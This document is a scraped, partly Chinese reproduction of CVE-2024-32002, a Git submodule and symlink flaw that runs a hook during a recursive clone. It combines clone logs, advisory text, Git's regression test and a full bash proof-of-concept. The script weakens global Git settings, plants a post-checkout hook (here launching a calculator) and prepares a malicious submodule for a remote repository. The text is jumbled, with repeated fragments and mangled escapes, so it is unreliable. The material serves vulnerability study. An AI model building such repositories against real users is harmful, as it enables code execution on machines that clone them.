$git clone --recursive [email protected]:markuta/test.gitcloning into testremote:enumerating objects:18,done.remote:counting objects:100%(18/18), done.remote:compressing objects:100%(7/7),done.remote: total 18 (delta 6), reused 14 (delta 4), pack-reused 0receiving objects:100%(18/18),done.resolving deltas:100%(6/6),done.warning:the following paths have collided (e.g. case-sensitive pathson a case-insensitive filesystem) and only one from the samecolliding group is in the working tree:
 'a'submodule'x/y' ([email protected]:markuta/hooky) registered for path 'A/modules/x'cloning into '/users/naz/dev/test/a/modules/x'...remote:enumerating objects:15,done.remote:counting objects:100%(15/15),done.remote:compressing objects:100%(8/8),done.remote:total 15 (delta 1), reused 8(delta 0), pack-reused 0receiving objects:100%(15/15),done.resolving deltas:100%(1/1),done.submodule path 'A/modules/x': checked out 'a8da5ef374374251fb81787292d64e52ffe802a3'

on a case-insensitive filesystem) and only one from the samecolliding group is in the working tree:
 'a'

ImpactRepositories with submodules can be crafted in a way that exploits a bug in Git whereby it can be fooled into writing files not into the submodule's worktree but into a .git/ directory. This allows writing a hook that will be executed while the clone operation is still running, giving the user no opportunity to inspect the code that is being executed.
PatchesThe problem has been patched in the versions published on Tuesday, May 14th, 2024.
WorkaroundsIf symbolic link support is disabled in Git (e.g. via git config --global core.symlinks false), the described attack won't work.
As always, it is best to avoid cloning repositories from untrusted sources.
Referencesgit clone --recurse-submodulescore.symlinks

test_config_global protocol.file.allow always &&test_config_global core.symlinks true &&tell_tale_path="$PWD/tell.tale" &&

tell_tale_path="$PWD/tell.tale" &&git init hook &&(    cd hook &&    mkdir -p y/hooks &&    write_script y/hooks/post-checkout <<-EOF &&    echo HOOK-RUN >&2    echo hook-run >"$tell_tale_path"    EOF    git add y/hooks/post-checkout &&    test_tick &&    git commit -m post-checkout) &&

echo HOOK-RUN >&2echo hook-run >"$tell_tale_path"post-checkout 文件是什么？post-checkout 是 Git 中的一种钩子（hook）。Git hooks 是一些脚本，允许你在特定的事件发生时执行自定义操作。post-checkout 钩子在以下情况之后被调用：成功运行 git clone 命令。成功运行 git checkout 命令。

hook_repo_path="$(pwd)/hook" &&git init captain &&(    cd captain &&    git submodule add --name x/y "$hook_repo_path" A/modules/x &&    test_tick &&    git commit -m add-submodule &&    printf .git >dotgit.txt &&    git hash-object -w --stdin <dotgit.txt >dot-git.hash &&    printf "120000 %s 0tan" "$(cat dot-git.hash)" >index.info &&    git update-index --index-info <index.info &&    test_tick &&    git commit -m add-symlink) &&

test_path_is_missing "$tell_tale_path" &&test_must_fail git clone --recursive captain hooked 2>err &&grep "directory not empty" err &&test_path_is_missing "$tell_tale_path"

$ git clone --recursive [email protected]:10cks/CVE-2024-32002-submod.git testCloning into 'test'...remote: Enumerating objects: 8, done.remote: Counting objects: 100% (8/8), done.remote: Compressing objects: 100% (4/4), done.remote: Total 8 (delta 1), reused 8 (delta 1), pack-reused 0Receiving objects: 100% (8/8), done.Resolving deltas: 100% (1/1), done.warning: the following paths have collided (e.g. case-sensitive pathson a case-insensitive filesystem) and only one from the samecolliding group is in the working tree:
  'a'Submodule 'x/y' ([email protected]:10cks/CVE-2024-32002-hulk.git) registered for path 'A/modules/x'fatal: could not create leading directories of 'D:/CVE-2024-32002/RCE/test/A/modules/x': Not a directoryfatal: clone of '[email protected]:10cks/CVE-2024-32002-hulk.git' into submodule path 'D:/CVE-2024-32002/RCE/test/A/modules/x' failedFailed to clone 'A/modules/x'. Retry scheduledfatal: could not create leading directories of 'D:/CVE-2024-32002/RCE/test/A/modules/x': Not a directoryfatal: clone of '[email protected]:10cks/CVE-2024-32002-hulk.git' into submodule path 'D:/CVE-2024-32002/RCE/test/A/modules/x' failedFailed to clone 'A/modules/x' a second time, aborting

#!/bin/bash
# 设置 Git 配置选项git config --global protocol.file.allow alwaysgit config --global core.symlinks true# 设置默认分叉为maingit config --global init.defaultBranch main 

# 定义 tell-tale 路径tell_tale_path="$PWD/tell.tale"
# 初始化 hook 仓库git init hookcd hookmkdir -p y/hooks
# 将恶意代码写入 hook，适配windows环境与mac环境cat > y/hooks/post-checkout <<EOF#!/bin/bashcalc.exeopen -a Calculator.appEOF
# 使 hook 可执行：重要chmod +x y/hooks/post-checkout
git add y/hooks/post-checkoutgit commit -m "post-checkout"
cd ..
# 定义 hook 仓库路径hook_repo_path="$(pwd)/hook"
# 初始化 captain 仓库git init captaincd captaingit submodule add --name x/y "$hook_repo_path" A/modules/xgit commit -m "add-submodule"
# 创建符号链接printf ".git" > dotgit.txtgit hash-object -w --stdin < dotgit.txt > dot-git.hashprintf "120000 %s 0tan" "$(cat dot-git.hash)" > index.infogit update-index --index-info < index.infogit commit -m "add-symlink"cd ..
# 本地测试，传到github无需使用此功能git clone --recursive captain hooked

git submodule add --name x/y "远程仓库" A/modules/x